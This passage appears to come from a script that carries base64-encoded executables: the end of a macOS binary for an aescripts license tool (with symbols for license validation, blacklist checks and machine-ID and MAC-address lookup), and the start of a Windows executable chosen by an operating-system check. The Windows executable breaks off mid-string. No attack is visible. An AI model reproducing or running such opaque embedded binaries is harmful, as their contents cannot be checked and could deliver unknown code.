AOBQAAkGAAAAEAAAAQEAAADgUAANBgAAABAAAAIhAAAA4FAACkZQAAAQAAADQQAAAOBQAARGcAAAEAAABGEAAADgUAAKxnAAABAAAAWBAAAA4FAAB8aAAAAQAAAGoQAAAODQAAgHIAAAEAAAB7EAAADg8AALByAAABAAAAixAAAA4PAACxcgAAAQAAAJsQAAAODwAAsnIAAAEAAACrEAAADw4AAJByAAABAAAAsxAAAA8OAACYcgAAAQAAALsQAAAPAQAAIRQAAAEAAADQEAAADwEAABkUAAABAAAA6BAAAA8BAADhFAAAAQAAAP8QAAAPAQAAERQAAAEAAAAZEQAADwEAAGcXAAABAAAAJREAAA8BAAB8PwAAAQAAAFQRAAAPAQAAxD8AAAEAAACGEQAADwEAAJFAAAABAAAAqxEAAA8BAABcSgAAAQAAAOERAAAPAQAABFEAAAEAAAAJEgAADwEAAOpAAAABAAAANxIAAA8BgACiVgAAAQAAAFUSAAAPAYAARFkAAAEAAAC5EgAADwGAAMBZAAABAAAA+hIAAA8BgAA7PwAAAQAAADATAAAPDgAAqHIAAAEAAAA8EwAAAwEQAAAAAAABAAAAUBMAAA8OAACgcgAAAQAAAFkTAAAPAQAAMBIAAAEAAABfEwAAAQAABgAAAAAAAAAAbRMAAAEAAAYAAAAAAAAAAHwTAAABAAAFAAAAAAAAAACMEwAAAQAABAAAAAAAAAAAnxMAAAEAAAQAAAAAAAAAALETAAABAAAEAAAAAAAAAADnEwAAAQAABAAAAAAAAAAAIBQAAAEAAAQAAAAAAAAAAE4UAAABAAAEAAAAAAAAAAB9FAAAAQAABAAAAAAAAAAAmhQAAAEAAAQAAAAAAAAAAKoUAAABAAAEAAAAAAAAAADJFAAAAQAABAAAAAAAAAAA2BQAAAEAAAQAAAAAAAAAAOUUAAABAAAEAAAAAAAAAAD0FAAAAQAABAAAAAAAAAAABhUAAAEAAAQAAAAAAAAAACAVAAABAAAEAAAAAAAAAAA3FQAAAQAABAAAAAAAAAAAVxUAAAEAAAQAAAAAAAAAAHEVAAABAAAEAAAAAAAAAACUFQAAAQAABAAAAAAAAAAAtBUAAAEAAAQAAAAAAAAAAMQVAAABAAAEAAAAAAAAAADXFQAAAQAABAAAAAAAAAAA6hUAAAEAAAQAAAAAAAAAAP0VAAABAAAEAAAAAAAAAAAQFgAAAQAABAAAAAAAAAAAJRYAAAEAAAQAAAAAAAAAADgWAAABAAAEAAAAAAAAAABMFgAAAQAABAAAAAAAAAAAYRYAAAEAAAQAAAAAAAAAAG8WAAABAAAEAAAAAAAAAAB6FgAAAQAABAAAAAAAAAAArhYAAAEAAAQAAAAAAAAAAPEWAAABAAAEAAAAAAAAAAAhFwAAAQAABAAAAAAAAAAAVRcAAAEAAAQAAAAAAAAAAJgXAAABAAAEAAAAAAAAAADIFwAAAQAABAAAAAAAAAAAERgAAAEAAAQAAAAAAAAAAEoYAAABAAAEAAAAAAAAAABjGAAAAQAABAAAAAAAAAAAfBgAAAEAAAQAAAAAAAAAAMsYAAABAAAEAAAAAAAAAADpGAAAAQAABAAAAAAAAAAA9BgAAAEAAAQAAAAAAAAAAAUZAAABAIAEAAAAAAAAAAANGQAAAQCABAAAAAAAAAAAFBkAAAEAAAUAAAAAAAAAACIZAAABAAAEAAAAAAAAAAA1GQAAAQAABAAAAAAAAAAARhkAAAEAAAQAAAAAAAAAAFwZAAABAAAFAAAAAAAAAABuGQAAAQAABQAAAAAAAAAAgRkAAAEAAAUAAAAAAAAAAIcZAAABAAAFAAAAAAAAAACNGQAAAQAABQAAAAAAAAAAkxkAAAEAAAUAAAAAAAAAAKAZAAABAAAFAAAAAAAAAACsGQAAAQAABQAAAAAAAAAAtBkAAAEAAAUAAAAAAAAAAMYZAAABAAAFAAAAAAAAAADPGQAAAQAABQAAAAAAAAAA1xkAAAEAAAUAAAAAAAAAAN8ZAAABAAAFAAAAAAAAAADnGQAAAQAABQAAAAAAAAAAswAAALAAAACxAAAAuwAAALwAAAC9AAAAvgAAAL8AAADAAAAAwQAAAMIAAADDAAAAxAAAAMUAAADGAAAAxwAAAMgAAADJAAAAygAAAM0AAADOAAAAzwAAANAAAADRAAAA0gAAANMAAADUAAAA1QAAANYAAADXAAAA2AAAANkAAADaAAAA2wAAANwAAADdAAAA3gAAAN8AAADgAAAA4QAAAOMAAADkAAAA5gAAAOcAAADoAAAA6gAAAOsAAAC6AAAA6QAAAO0AAADvAAAA8AAAAPEAAADyAAAA8wAAAPQAAAD1AAAA9gAAAPcAAAD4AAAA+QAAALgAAAC5AAAAywAAAMwAAADiAAAA5QAAAOwAAADuAAAA+gAAAAAAAECzAAAAsAAAALEAAAC7AAAAvAAAAL0AAAC+AAAAvwAAAMAAAADBAAAAwgAAAMMAAADEAAAAxQAAAMYAAADHAAAAyAAAAMkAAADKAAAAzQAAAM4AAADPAAAA0AAAANEAAADSAAAA0wAAANQAAADVAAAA1gAAANcAAADYAAAA2QAAANoAAADbAAAA3AAAAN0AAADeAAAA3wAAAOAAAADhAAAA4wAAAOQAAADmAAAA5wAAAOgAAADqAAAA6wAAALoAAADpAAAA7QAAAO8AAADwAAAA8QAAAPIAAADzAAAA9AAAAPUAAAD2AAAA9wAAAPgAAAD5AAAAuAAAALkAAAAgAC9Vc2Vycy9Vc2VyL0RvY3VtZW50cy9Ub2J5L2Flc2NyaXB0c0xpY2Vuc2luZy90b29scy9NYWMvAC9Vc2Vycy9Vc2VyL0RvY3VtZW50cy9Ub2J5L2Flc2NyaXB0c0xpY2Vuc2luZy90b29scy9NYWMvLi4vYWVzY3JpcHRzTGljZW5zZXIuY3BwAC9Vc2Vycy9Vc2VyL0xpYnJhcnkvRGV2ZWxvcGVyL1hjb2RlL0Rlcml2ZWREYXRhL2Flc2NyaXB0c0xpY2Vuc2VyLWNnb2tzZ2lxdHNhZ2hyYW1rbml6c2VlZXFzd2cvQnVpbGQvSW50ZXJtZWRpYXRlcy9hZXNjcmlwdHNMaWNlbnNlci5idWlsZC9SZWxlYXNlL2Flc2NyaXB0c0xpY2Vuc2VyLmJ1aWxkL09iamVjdHMtbm9ybWFsL3g4Nl82NC9hZXNjcmlwdHNMaWNlbnNlci5vAF9tYWluAC9BcHBsaWNhdGlvbnMvWGNvZGUuYXBwL0NvbnRlbnRzL0RldmVsb3Blci9QbGF0Zm9ybXMvTWFjT1NYLnBsYXRmb3JtL0RldmVsb3Blci9TREtzL01hY09TWDEwLjcuc2RrL3Vzci9pbmNsdWRlL2MrKy80LjIuMS9vc3RyZWFtAF9fR0xPQkFMX19JX2EAX19aU3RMOF9faW9pbml0AC9Vc2Vycy9Vc2VyL0RvY3VtZW50cy9Ub2J5L2Flc2NyaXB0c0xpY2Vuc2luZy9zcmMvTWFjLwAvVXNlcnMvVXNlci9Eb2N1bWVudHMvVG9ieS9hZXNjcmlwdHNMaWNlbnNpbmcvc3JjL01hYy8uLi9MaWNlbnNpbmdfdjJfZm9yX1NES19wbHVnaW5zLmNwcAAvVXNlcnMvVXNlci9Eb2N1bWVudHMvVG9ieS9hZXNjcmlwdHNMaWNlbnNpbmcvdG9vbHMvTWFjLy4uLy4uL2xpYi9NYWMvYWVzY3JpcHRzTGljZW5zaW5nX1JlbGVhc2VfNjQuYShMaWNlbnNpbmdfdjJfZm9yX1NES19wbHVnaW5zLm8pAF9fWjE4Y2hlY2tCbGFja0xpc3Rfb2xkaWkAX19aMTRjaGVja0JsYWNrTGlzdGlpaWkAX19aMTNyZXZlcnNlU3RyaW5nU3MAL0FwcGxpY2F0aW9ucy9YY29kZS5hcHAvQ29udGVudHMvRGV2ZWxvcGVyL1BsYXRmb3Jtcy9NYWNPU1gucGxhdGZvcm0vRGV2ZWxvcGVyL1NES3MvTWFjT1NYMTAuNy5zZGsvdXNyL2luY2x1ZGUvYysrLzQuMi4xL2JpdHMvYmFzaWNfc3RyaW5nLmgAX19aMTRtYWtlU2VlZHNBcnJheVNzaQAvQXBwbGljYXRpb25zL1hjb2RlLmFwcC9Db250ZW50cy9EZXZlbG9wZXIvUGxhdGZvcm1zL01hY09TWC5wbGF0Zm9ybS9EZXZlbG9wZXIvU0RLcy9NYWNPU1gxMC43LnNkay91c3IvaW5jbHVkZS9jKysvNC4yLjEvZXh0L2F0b21pY2l0eS5oAF9fWjRrZXkxU3NpAF9fWkwxMWdldENoZWNrc3VtU3NTcwBfX1pMMTJCaXRfTWFuZ2xlXzFpaWlpaWlpAF9fWkwxMkJpdF9NYW5nbGVfMmlpaWlpaWkAX19aTDEyQml0X01hbmdsZV8zaWlpaWlpaQBfX1pMMTJCaXRfTWFuZ2xlXzRpaWlpaWlpAF9fWkwxMkJpdF9NYW5nbGVfNWlpaWlpaWkAX19aU3RwbEljU3QxMWNoYXJfdHJhaXRzSWNFU2FJY0VFU2JJVF9UMF9UMV9FUktTNl9TOF8AR0NDX2V4Y2VwdF90YWJsZTIAR0NDX2V4Y2VwdF90YWJsZTMAR0NDX2V4Y2VwdF90YWJsZTQAR0NDX2V4Y2VwdF90YWJsZTUAXy5tZW1zZXRfcGF0dGVybgAvVXNlcnMvVXNlci9Eb2N1bWVudHMvVG9ieS9hZXNjcmlwdHNMaWNlbnNpbmcvc3JjL01hYy8uLi9NQUNBZGRyZXNzVXRpbGl0eS5jcHAAL1VzZXJzL1VzZXIvRG9jdW1lbnRzL1RvYnkvYWVzY3JpcHRzTGljZW5zaW5nL3Rvb2xzL01hYy8uLi8uLi9saWIvTWFjL2Flc2NyaXB0c0xpY2Vuc2luZ19SZWxlYXNlXzY0LmEoTUFDQWRkcmVzc1V0aWxpdHkubykAX19aTjE3TUFDQWRkcmVzc1V0aWxpdHkxOEdldEFsbE1BQ0FkZHJlc3Nlc0VQaABfX1pOMTdNQUNBZGRyZXNzVXRpbGl0eTIxR2V0QWxsTUFDQWRkcmVzc2VzTWFjRVBoAF9fR0xPQkFMX19JX2EAX19aU3RMOF9faW9pbml0AC9Vc2Vycy9Vc2VyL0RvY3VtZW50cy9Ub2J5L2Flc2NyaXB0c0xpY2Vuc2luZy9zcmMvTWFjLy4uL2Flc2NyaXB0c0xpY2Vuc2luZy5jcHAAL1VzZXJzL1VzZXIvRG9jdW1lbnRzL1RvYnkvYWVzY3JpcHRzTGljZW5zaW5nL3Rvb2xzL01hYy8uLi8uLi9saWIvTWFjL2Flc2NyaXB0c0xpY2Vuc2luZ19SZWxlYXNlXzY0LmEoYWVzY3JpcHRzTGljZW5zaW5nLm8pAF9fWk45YWVzY3JpcHRzMTJnZXRNYWNoaW5lSWRFUkExMjhfYwBfX1pOOWFlc2NyaXB0czE5bG9hZExpY2Vuc2VGcm9tRmlsZUVQY1JBMTI4X2MAL0FwcGxpY2F0aW9ucy9YY29kZS5hcHAvQ29udGVudHMvRGV2ZWxvcGVyL1BsYXRmb3Jtcy9NYWNPU1gucGxhdGZvcm0vRGV2ZWxvcGVyL1NES3MvTWFjT1NYMTAuNy5zZGsvdXNyL2luY2x1ZGUvYysrLzQuMi4xL2ZzdHJlYW0AL0FwcGxpY2F0aW9ucy9YY29kZS5hcHAvQ29udGVudHMvRGV2ZWxvcGVyL1BsYXRmb3Jtcy9NYWNPU1gucGxhdGZvcm0vRGV2ZWxvcGVyL1NES3MvTWFjT1NYMTAuNy5zZGsvdXNyL2luY2x1ZGUvYysrLzQuMi4xL2JpdHMvcG9zdHlwZXMuaAAvQXBwbGljYXRpb25zL1hjb2RlLmFwcC9Db250ZW50cy9EZXZlbG9wZXIvUGxhdGZvcm1zL01hY09TWC5wbGF0Zm9ybS9EZXZlbG9wZXIvU0RLcy9NYWNPU1gxMC43LnNkay91c3IvaW5jbHVkZS9jKysvNC4yLjEvYml0cy9pb3NfYmFzZS5oAC9BcHBsaWNhdGlvbnMvWGNvZGUuYXBwL0NvbnRlbnRzL0RldmVsb3Blci9QbGF0Zm9ybXMvTWFjT1NYLnBsYXRmb3JtL0RldmVsb3Blci9TREtzL01hY09TWDEwLjcuc2RrL3Vzci9pbmNsdWRlL2MrKy80LjIuMS9iaXRzL3N0bF9pdGVyYXRvci5oAF9fWk45YWVzY3JpcHRzMTV2YWxpZGF0ZUxpY2Vuc2VFUGNpUk5TXzExTGljZW5zZURhdGFFAF9fWk45YWVzY3JpcHRzMTdzYXZlTGljZW5zZVRvRmlsZUVQY1MwXwAvQXBwbGljYXRpb25zL1hjb2RlLmFwcC9Db250ZW50cy9EZXZlbG9wZXIvUGxhdGZvcm1zL01hY09TWC5wbGF0Zm9ybS9EZXZlbG9wZXIvU0RLcy9NYWNPU1gxMC43LnNkay91c3IvaW5jbHVkZS9jKysvNC4yLjEvYml0cy9jaGFyX3RyYWl0cy5oAC9BcHBsaWNhdGlvbnMvWGNvZGUuYXBwL0NvbnRlbnRzL0RldmVsb3Blci9QbGF0Zm9ybXMvTWFjT1NYLnBsYXRmb3JtL0RldmVsb3Blci9TREtzL01hY09TWDEwLjcuc2RrL3Vzci9pbmNsdWRlL2MrKy80LjIuMS9pb21hbmlwAC9BcHBsaWNhdGlvbnMvWGNvZGUuYXBwL0NvbnRlbnRzL0RldmVsb3Blci9QbGF0Zm9ybXMvTWFjT1NYLnBsYXRmb3JtL0RldmVsb3Blci9TREtzL01hY09TWDEwLjcuc2RrL3Vzci9pbmNsdWRlL2MrKy80LjIuMS9iaXRzL2Jhc2ljX2lvcy5oAC9BcHBsaWNhdGlvbnMvWGNvZGUuYXBwL0NvbnRlbnRzL0RldmVsb3Blci9QbGF0Zm9ybXMvTWFjT1NYLnBsYXRmb3JtL0RldmVsb3Blci9TREtzL01hY09TWDEwLjcuc2RrL3Vzci9pbmNsdWRlL2MrKy80LjIuMS9zc3RyZWFtAF9fWk45YWVzY3JpcHRzN2dldFBhdGhFU3NiUlNzAF9fWk5TczEyX1NfY29uc3RydWN0SU45X19nbnVfY3h4MTdfX25vcm1hbF9pdGVyYXRvcklQY1NzRUVFRVMyX1RfUzRfUktTYUljRVN0MjBmb3J3YXJkX2l0ZXJhdG9yX3RhZwAvQXBwbGljYXRpb25zL1hjb2RlLmFwcC9Db250ZW50cy9EZXZlbG9wZXIvUGxhdGZvcm1zL01hY09TWC5wbGF0Zm9ybS9EZXZlbG9wZXIvU0RLcy9NYWNPU1gxMC43LnNkay91c3IvaW5jbHVkZS9jKysvNC4yLjEvYml0cy9iYXNpY19zdHJpbmcudGNjAF9fWk5TczEyX1NfY29uc3RydWN0SVBjRUVTMF9UX1MxX1JLU2FJY0VTdDIwZm9yd2FyZF9pdGVyYXRvcl90YWcAL0FwcGxpY2F0aW9ucy9YY29kZS5hcHAvQ29udGVudHMvRGV2ZWxvcGVyL1BsYXRmb3Jtcy9NYWNPU1gucGxhdGZvcm0vRGV2ZWxvcGVyL1NES3MvTWFjT1NYMTAuNy5zZGsvdXNyL2luY2x1ZGUvYysrLzQuMi4xL2JpdHMvc3RsX2l0ZXJhdG9yX2Jhc2VfZnVuY3MuaABfX0dMT0JBTF9fSV9hAEdDQ19leGNlcHRfdGFibGUxAEdDQ19leGNlcHRfdGFibGUyAEdDQ19leGNlcHRfdGFibGU2AEdDQ19leGNlcHRfdGFibGU4AF9fWlN0TDhfX2lvaW5pdABfbWFpbgBfX0dMT0JBTF9fSV9hAF9fWkwxMWdldENoZWNrc3VtU3NTcwBfX1pMMTJCaXRfTWFuZ2xlXzFpaWlpaWlpAF9fWkwxMkJpdF9NYW5nbGVfMmlpaWlpaWkAX19aTDEyQml0X01hbmdsZV8zaWlpaWlpaQBfX1pMMTJCaXRfTWFuZ2xlXzRpaWlpaWlpAF9fWkwxMkJpdF9NYW5nbGVfNWlpaWlpaWkAX19HTE9CQUxfX0lfYQBfX0dMT0JBTF9fSV9hAEdDQ19leGNlcHRfdGFibGUyAEdDQ19leGNlcHRfdGFibGUzAEdDQ19leGNlcHRfdGFibGU0AEdDQ19leGNlcHRfdGFibGU1AEdDQ19leGNlcHRfdGFibGUxAEdDQ19leGNlcHRfdGFibGUyAEdDQ19leGNlcHRfdGFibGU2AEdDQ19leGNlcHRfdGFibGU4AF8ubWVtc2V0X3BhdHRlcm4AX19aU3RMOF9faW9pbml0AF9fWlN0TDhfX2lvaW5pdABfX1pTdEw4X19pb2luaXQAX05YQXJnYwBfTlhBcmd2AF9fWjEzcmV2ZXJzZVN0cmluZ1NzAF9fWjE0Y2hlY2tCbGFja0xpc3RpaWlpAF9fWjE0bWFrZVNlZWRzQXJyYXlTc2kAX19aMThjaGVja0JsYWNrTGlzdF9vbGRpaQBfX1o0a2V5MVNzaQBfX1pOMTdNQUNBZGRyZXNzVXRpbGl0eTE4R2V0QWxsTUFDQWRkcmVzc2VzRVBoAF9fWk4xN01BQ0FkZHJlc3NVdGlsaXR5MjFHZXRBbGxNQUNBZGRyZXNzZXNNYWNFUGgAX19aTjlhZXNjcmlwdHMxMmdldE1hY2hpbmVJZEVSQTEyOF9jAF9fWk45YWVzY3JpcHRzMTV2YWxpZGF0ZUxpY2Vuc2VFUGNpUk5TXzExTGljZW5zZURhdGFFAF9fWk45YWVzY3JpcHRzMTdzYXZlTGljZW5zZVRvRmlsZUVQY1MwXwBfX1pOOWFlc2NyaXB0czE5bG9hZExpY2Vuc2VGcm9tRmlsZUVQY1JBMTI4X2MAX19aTjlhZXNjcmlwdHM3Z2V0UGF0aEVTc2JSU3MAX19aTlNzMTJfU19jb25zdHJ1Y3RJTjlfX2dudV9jeHgxN19fbm9ybWFsX2l0ZXJhdG9ySVBjU3NFRUVFUzJfVF9TNF9SS1NhSWNFU3QyMGZvcndhcmRfaXRlcmF0b3JfdGFnAF9fWk5TczEyX1NfY29uc3RydWN0SVBjRUVTMF9UX1MxX1JLU2FJY0VTdDIwZm9yd2FyZF9pdGVyYXRvcl90YWcAX19aU3RwbEljU3QxMWNoYXJfdHJhaXRzSWNFU2FJY0VFU2JJVF9UMF9UMV9FUktTNl9TOF8AX19fcHJvZ25hbWUAX19taF9leGVjdXRlX2hlYWRlcgBfZW52aXJvbgBzdGFydABfRlNGaW5kRm9sZGVyAF9GU1JlZk1ha2VQYXRoAF9fVW53aW5kX1Jlc3VtZQBfX1pOS1NzNGZpbmRFUEtjbW0AX19aTktTczZzdWJzdHJFbW0AX19aTktTdDEzYmFzaWNfZmlsZWJ1ZkljU3QxMWNoYXJfdHJhaXRzSWNFRTdpc19vcGVuRXYAX19aTktTdDE1YmFzaWNfc3RyaW5nYnVmSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUUzc3RyRXYAX19aTktTdDliYXNpY19pb3NJY1N0MTFjaGFyX3RyYWl0c0ljRUU0ZmlsbEV2AF9fWk5LU3Q5YmFzaWNfaW9zSWNTdDExY2hhcl90cmFpdHNJY0VFNXdpZGVuRWMAX19aTlNpMTBfTV9leHRyYWN0SW1FRVJTaVJUXwBfX1pOU2k0cmVhZEVQY2wAX19aTlNpNXNlZWtnRXhTdDEyX0lvc19TZWVrZGlyAF9fWk5TaTV0ZWxsZ0V2AF9fWk5TbzNwdXRFYwBfX1pOU281Zmx1c2hFdgBfX1pOU281d3JpdGVFUEtjbABfX1pOU285X01faW5zZXJ0SW1FRVJTb1RfAF9fWk5TczEyX01fbGVha19oYXJkRXYAX19aTlNzNF9SZXAxMF9NX2Rlc3Ryb3lFUktTYUljRQBfX1pOU3M0X1JlcDExX1NfdGVybWluYWxFAF9fWk5TczRfUmVwMjBfU19lbXB0eV9yZXBfc3RvcmFnZUUAX19aTlNzNF9SZXA5X1NfY3JlYXRlRW1tUktTYUljRQBfX1pOU3M1ZXJhc2VFbW0AX19aTlNzNmFwcGVuZEVQS2NtAF9fWk5TczZhcHBlbmRFUktTcwBfX1pOU3M2YXNzaWduRVBLY20AX19aTlNzNmFzc2lnbkVSS1NzAF9fWk5TczlfTV9tdXRhdGVFbW1tAF9fWk5TczlwdXNoX2JhY2tFYwBfX1pOU3NDMUVQS2NSS1NhSWNFAF9fWk5Tc0MxRVBLY21SS1NhSWNFAF9fWk5Tc0MxRVJLU3MAX19aTlNzRDJFdgBfX1pOU3QxNGJhc2ljX2lmc3RyZWFtSWNTdDExY2hhcl90cmFpdHNJY0VFNWNsb3NlRXYAX19aTlN0MTRiYXNpY19pZnN0cmVhbUljU3QxMWNoYXJfdHJhaXRzSWNFRUMxRVBLY1N0MTNfSW9zX09wZW5tb2RlAF9fWk5TdDE0YmFzaWNfaWZzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRUVEMUV2AF9fWk5TdDE0YmFzaWNfb2ZzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRUU1Y2xvc2VFdgBfX1pOU3QxNGJhc2ljX29mc3RyZWFtSWNTdDExY2hhcl90cmFpdHNJY0VFQzFFUEtjU3QxM19Jb3NfT3Blbm1vZGUAX19aTlN0MTRiYXNpY19vZnN0cmVhbUljU3QxMWNoYXJfdHJhaXRzSWNFRUQxRXYAX19aTlN0MThiYXNpY19zdHJpbmdzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRVNhSWNFRUMxRVN0MTNfSW9zX09wZW5tb2RlAF9fWk5TdDE4YmFzaWNfc3RyaW5nc3RyZWFtSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUVEMUV2AF9fWk5TdDhpb3NfYmFzZTRJbml0QzFFdgBfX1pOU3Q4aW9zX2Jhc2U0SW5pdEQxRXYAX19aU3QxNl9fb3N0cmVhbV9pbnNlcnRJY1N0MTFjaGFyX3RyYWl0c0ljRUVSU3QxM2Jhc2ljX29zdHJlYW1JVF9UMF9FUzZfUEtTM19sAF9fWlN0MTlfX3Rocm93X2xvZ2ljX2Vycm9yUEtjAF9fWlN0NGNvdXQAX19aU3Q5dGVybWluYXRldgBfX1pkYVB2AF9fWm5hbQBfX19jeGFfYXRleGl0AF9fX2N4YV9iZWdpbl9jYXRjaABfX19jeGFfZW5kX2NhdGNoAF9fX2d4eF9wZXJzb25hbGl0eV92MABfX19zdGFja19jaGtfZmFpbABfX19zdGFja19jaGtfZ3VhcmQAX2F0b2kAX2F0b2wAX2V4aXQAX2ZyZWVpZmFkZHJzAF9nZXRpZmFkZHJzAF9tZW1jcHkAX21lbXNldF9wYXR0ZXJuMTYAX3NwcmludGYAX3N0cmNtcABfc3RyY3B5AF9zdHJsZW4AZHlsZF9zdHViX2JpbmRlcgA=') return R if a.__isWindows(): R = at( 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC4Z1Ex/AY/YvwGP2L8Bj9ib0inYv0GP2Lnm6Fi/gY/YueblWLoBj9i55ujYvgGP2L1fqxi+wY/YvwGPmJtBj9i55uUYvYGP2Lnm5Bi/QY/YuebomL9Bj9iUmljaPwGP2IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQRQAATAEFAGNhYFIAAAAAAAAAAOAAAgELAQoAAEIAAAA2AAAAAAAAYUYAAAAQAAAAYAAAAABAAAAQAAAAAgAABQABAAAAAAAFAAEAAAAAAADAAAAABAAA6vUAAAMAQIEAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAOBvAAB4AAAAAKAAALQBAAAAAAAAAAAAAAAAAAAAAAAAALAAABAGAAAwYgAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBkAABAAAAAAAAAAAAAAAAAYAAACAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA6UEAAAAQAAAAQgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAGwjAAAAYAAAACQAAABGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAACEBgAAAJAAAAAEAAAAagAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAtAEAAACgAAAAAgAAAG4AAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAJYKAAAAsAAAAAwAAABwAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IPk+IHsjAAAAKHokkAAM8SJhCSIAAAAg30IA1aLdQwPhKMAAAChGGFAAFBRiw0cYUAAaHBjQABR6HABAACDxAyLyP8VEGFAAIsVGGFAAKEcYUAAUlFonGNAAFDoTQEAAIPEDIvI/xUQYUAAiw0YYUAAixUcYUAAUVFo0GNAAFLoKQEAAIPEDIvI/xUQYUAAoRhhQABQUYsNHGFAAGgAZEAAUegGAQAAg8QMi8j/FRBhQACDyP9ei4wkiAAAADPM6P0yAACL5V3Di0YIjVQkCMZEJAgAK9CNpCQAAAAAigiIDAJAhMl19otGBI1UJAhSUOg4KgAAi4wklAAAAIPECF4zzOi6MgAAi+Vdw8zMVYvsav9oeFFAAGShAAAAAFBRVqHokkAAM8VQjUX0ZKMAAAAAi/GJdfDHRfwAAAAA/xX8YEAAhMB1CIsO/xUEYUAAx0X8/////4sGiwiLUQSLRAI4hcB0CYsQi8iLQgj/0ItN9GSJDQAAAABZXovlXcPMzMzMzMzMzMzMzMzMzMyLAYsIi1EEi0QCOIXAdAmLEIvIi0II/+DDzMzMzMzMzFWL7Gr/aLhRQABkoQAAAABQg+wkU1ZXoeiSQAAzxVCNRfRkowAAAACJZfCLdQiLRQzHRewAAAAAjUgB6wONSQCKEECE0nX5K8GJReiLBotQBItMMiSLRDIgM/+FyXwffwSFwHQZO898FX8FO0Xodg4rRegbz4v5i9iJfdzrBzPbiV3ci/uLVDI4iXXQhdJ0CYsCi8qLUAT/0sdF/AAAAACLBotABIN8MAwAdRCLRDA8hcB0CIvI/xUMYUAAixaLQgSDfDAMAA+UwYhN1MdF/AEAAACEyXUMx0XsBAAAAOmNAAAAxkX8AotEMBQlwAEAAIP4QHQ3hf98LX8Ehdt0J4sOi0EEikwwQIhN5ItV5ItMMDhS/xUIYUAAg/j/D4WsAAAAg03sBIN97AB1LosGi0gEi1Xoi0UMi0wxODP/V1JQ/xUAYUAAO0XodQg71w+EjQAAAMdF7AQAAACLFotCBDPJiUwwIIlMMCTHRfwBAAAAiw6LReyLSQRqAFADzv8VFGFAAMdF/AQAAAD/FfxgQACLfdCEwHUIi8//FQRhQADHRfz/////ixeLQgSLTDg4hcl0B4sRi0II/9CLxotN9GSJDQAAAABZX15bi+Vdw4PD/4PX/4l93OkZ////jWQkADl93A+Mcf///38IhdsPhGf///+LDotBBIpMMECITeSLVeSLTDA4Uv8VCGFAAIP4/3UJg03sBOk/////g8P/g1Xc/+u8i0UIiwiLSQRqAWoEA8j/FRRhQADHRfwBAAAAuPUTQADDi3UI6SP////MzMzHAVBiQAD/JehhQADMzMzMVYvsVovxxwZQYkAA/xXoYUAA9kUIAXQJVuiQMgAAg8QEi8ZeXcIEAMzMzMzMzMzMiwmFyXQU/xVMYEAAhcB0CosQi8iLAmoB/9DDzMzMzMxVi+yLRQiLSBSB4f/5//+ByQAIAACJSBRdw8zMzMzMzFWL7FeLfQhX6FMuAACDxASFwHQtU1Yz9jPJjZsAAAAAi8GZuxcAAAD3+4PBA0aIVD7/gfm0AAAAfOZeWzLAX13DsAFfXcPMzMzMzMzMzMzMVovx9kZAAXQOi0YQiwhR6NoxAACDxASLVhDHAgAAAACLRiDHAAAAAACLTjDHAQAAAACLVhTHAgAAAACLRiTHAAAAAACLTjTHAQAAAACDZkD+x0Y8AAAAAF7DzMzMzMzMi1EQjUFIOQJ1FotBQFaLcTyJMotRIIkCi0kwK8CJAV7DzMzMzMzMzMzMzMzMzMzMVYvsi0UMg/gBdRWDeRQQcgKLCYpFEItVCIgEEV3CDACDeRQQcgKLCQNNCFAPvkUQUFHoMzEAAIPEDF3CDADMzFWL7Gr/aJlNQABkoQAAAABQg+wYU1ZXoeiSQAAzxVCNRfRkowAAAACLPXhgQABqAI1N6P/XoQyTQACLNXRgQACJRfCDPgDHRfwAAAAAdSZqAI1N7P/Xgz4AdRGhcGBAAP8Aiw1wYEAAixGJFo1N7P8VbGBAAItdCIs+iwM7eAxzW4tICIs0uYX2dXGAeBQAdBH/FVBgQAA7eAxzCotQCIs0uoX2dVaLdfCF9nVPjUXwU1D/FWhgQACDxAiD+P91IGiAYkAAjU3c/xXYYUAAaKhpQACNTdxR6FowAAAz9uuri03wi/GJDQyTQACL+f8VZGBAAFfoeiwAAIPEBI1N6MdF/P//////FWxgQACLxotN9GSJDQAAAABZX15bi+Vdw1WL7ItFCFZQi/H/FchhQADHBlBiQACLxl5dwgQAzMzMi1EgVosyhfZ1BYPI/17DU1eLeTCLH4vGA9g7w3MHD7YGX1tew/ZBQAR1L4tBJIsAhcB0JjvGdwU5cTx2HTlBPHMDiUE8i0E8ixIrwokHi0kgiwEPtgBfW17DX1uDyP9ew8zMzMzMzMzMzMzMzMzMzFWL7ItBIIsAhcB0PItREDsCdjWLVQiD+v90CzpQ/3QG9kFAAnUii0Ew/wCLQSD/CIP6/3QNi